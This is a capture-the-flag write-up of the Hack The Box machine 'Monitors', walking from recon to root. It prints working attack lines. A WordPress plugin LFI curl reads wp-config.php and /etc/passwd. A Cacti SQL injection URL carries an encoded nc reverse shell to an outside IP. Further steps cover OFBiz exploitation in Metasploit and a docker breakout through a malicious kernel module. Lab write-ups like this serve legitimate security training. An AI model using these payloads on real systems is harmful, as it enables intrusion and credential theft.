Link: https://app.hackthebox.eu/machines/Monitors

Enumeration

TCP Port Scan

An initial nmap scan reveals two open services, ssh and a web server, on ports 22 and 80 respectively.

Web Server

Attempting to navigate to the IP fails with an error:

A simple modification of /etc/hosts to set this IP to monitors.htb grants us access to the application:

In the bottom right corner, there is a footnote stating Powered by WordPress, this indicates we are running a PHP application on running the WordPress Software. This also means we can navigate to /wp-admin.php for the admin panel, although we have no credentials.

I viewed the source code of the home page and did not find anything out of the ordinary, such as residual comments that could weaken security.

A gobuster dir scan reveals we have directory indexing on the /wp-includes folder. Unfortunately because many of these files are PHP files, we cannot view or download them.

Nikto reveals a file that shows the version to be WordPress/5.5.1.

I downloaded a copy of this version from here to help snoop around the potential files easier.

The version of PHPMailer is 5.5 and the timestamp matches the one visible on the server which is not affected by the PHPMailer object injection attack.

I was a bit stumped here, I googled and found another tool called wpscan we can use to scan vulnerabilities on WordPress.

This tool reveals a plugin wp-with-spritz v4.2.4. A google search took me to this blog post that reveals a LFI and RFI vulnerability with the wp.spritz.content.filter.php file. All we need to do is:

curl http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=<file_to_include>

Some useful files:

• ../../../wp-config.php: Configuration file of current wordpress instance
  • Provides credentials to the database & salts
• ../../../../../../etc/passwd: Users on machine
  • Notable: root, marcus
• ../../../../../../etc/apache2/apache2.conf: Configuration of apache server
• ../../../../../../etc/apache2/sites-enabled/monitors.htb.conf: Config of this web server
• ../../../../../../etc/apache2/ports.conf: Provides reference to the default 000-default.conf location
• ../../../../../../etc/apache2/sites-enabled/000-default.conf: Mentions another URL, cacti-admin.monitors.htb

I experimented with the RFI component, though because the plugin just uses file_get_contents($_GET['url']) instead of an include statement, we cannot get any sort of command execution.

However the 000-default.conf file revealed another subdomain, and the configuration file states the document root is in /usr/share/cacti.

I added the subdomain to my /etc/hosts file and navigated to the site. I attempted to use the default username of admin along with the password I found in the wp-config.php file and it allows us access into the application

Cacti

In the top right of our dashboard, we get version 1.2.12. A google search reveals there is a SQLi / RCE vulnerability with this version, and another link I found shows the GitHub issue with a payload:

GET /cacti/color.php?action=export&header=false&filter=1')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='touch+/tmp/sqli_from_rce;'+where+name='path_php_binary';--+- 

I ran this straight from here and you immediately get a csv download of the credentials. Now if we modify the payload for a shell (using revshells.com URL-encoded):

# login, then navigate here first
http://cacti-admin.monitors.htb/cacti/color.php?action=export&header=false&filter=1%27)+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value=%27rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2%3E%261|nc+10.10.14.108+4444+%3E/tmp/f;%27+where+name=%27path_php_binary%27;--+-

# then navigate here
http://cacti-admin.monitors.htb/cacti/host.php

#finally add a get param
http://cacti-admin.monitors.htb/cacti/host.php?action=reindex

We get a hit on our nc listener as www-data!

Privilege Escalation to marcus

From the /etc/passwd file we nabbed via the LFI exploit, we know that there is a user named marcus on the machine. If we navigate to his home directory and run ls -la, we have the user.txt and also a .backup folder. We cannot access either just yet, but .backup has executable permissions for public so something must be accessing this.

/etc is the location for configuration files in linux so I ran this command to search for any references to this folder:

grep "/.backup" -R /etc 2>/dev/null

It returns a process of cacti-backup.service that accesses a /home/marcus/.backup/backup.sh.

We actually have permissions to cat this file which gives us a password that is used with sshpass, so it must be an SSH password for marcus or root, depending on which user the script is running as.

I tested this password with root and it failed, but it does work for marcus!

Privilege Escalation to root

We finally have an actual user account on monitors.htb with a proper shell, let’s grab the flag then we need to figure out how we can escalate privileges once more to root.

Inside of our home directory we have a note.txt file as well with the contents:

TODO:
Disable phpinfo in php.ini              - DONE
Update docker image for production use  - 

A quick google search tells us that docker files can be found in /var/lib/docker, but unfortunately we do not have read access to this directory.

I checked for suid files but saw nothing out of the ordinary. Running netstat -l returns a port 8443.

Google says this could be an Apache TomCat installation. Unfortunately, we do not have curl installed on our victim’s machine so we will need to forward this port out to access.

ssh -L 8443:localhost:8443 [email protected]

Now we can access https://localhost:8443, which shows us a 404 page of Apache Tomcat/9.0.31. I attempted to find a vulnerability for this version but did not find anything major.

I performed a gobuster scan on this using:

gobuster dir -u https://localhost:8443 -w /usr/share/wordlists/dirb/big.txt -k 

The first result with a 302 was /accounting. This takes us to a new application, the footer at the bottom says Apache OFBiz. Release 17.12.01. Searching for this version returns several vulnerabilities, including a CVSS 10.0 vulnerability for unsafe deserialization.

Searching for ofbiz in metasploit returns 2 modules:

I attempted using the first option where it said the target is vulnerable but still failed. I tried the second option and set the following options:

• RHOSTS: localhost
• LHOST: tun0
• LPORT: 4443
• SRVPORT: 4445
• ForceExploit: true

The ForceExploit is what finally made the connection and we get a meterpreter shell! The shell is very slow, and there actually is not a flag in the /root folder.

From this StackOverflow question, we can cat /proc/self/cgroup and if we see docker referenced, then we are in a docker container. Which, we are in this instance.

Docker Breakout

So now we are root inside of the docker container, we need to break out of this container. I noticed that we have wget and curl in the container, so we can try to send a Linux enumeration script like LinEnum or LinPeas over a python web server

LinPeas Enumeration

LinPeas has a section on container information with a link to HackTricks.

I ran ./linpeas.sh > results.txt then used meterpreter to download this file locally for closer inspection with the more command.

Notable discoveries:

• Container Capabilities: dac_override, sys_module
• Misconfiguration of /etc/ld.so.conf.d

I found a medium article on abusing the sys_module capability to breakout of the container, here. Let’s follow the guide. Step 1 we already completed, we know we have the sys_module capability.

Step 2: Get IP of Container

We do not have ifconfig but we do have ip a, this tells us our IP is 172.17.0.2, if we run ifconfig from marcus’s ssh, we can see 172.17.0.1 is the actual host.

Step 3 & 4 Make reverse shell and Makefile

I copied the code from the reverse-shell and make file and used meterpreter to add it to /root. I kept getting errors that the folder did not exist. This AskUbuntu thread said to look in /usr/src or /lib/modules and we do not have modules for our current version.

For the reverse shell, change the IP to the 0.1, the host.

So my Makefile is hardcoded to one that exists, (even though our version is 4.15.0-151-generic):

obj-m +=reverse-shell.o
all:
    make -C /lib/modules/4.15.0-142-generic/build M=$(PWD) modules
clean:
    make -C /lib/modules/4.15.0-142-generic/build M=$(PWD) clean

Now I used channel -i <id> to get back from meterpreter into the shell and run make. It succeeds!

In a new terminal, logged in as marcus over ssh, set up a nc listener nc -lvnp 4444. Now run insmod reverse-shell.ko back in meterpreter and our nc listener gets a hit as root!

Grab the flag and we’re done!

Conclusion

This was extremely hard, also the fact my kernel did not match the versions on the box confused me but I am glad that hardcoding in the build allowed it to work and return us the root shell! I had not done docker escapes before, nor coded in C so it was a lot of research and I still do not fully understand what exactly happened so I will definitely be looking more into it!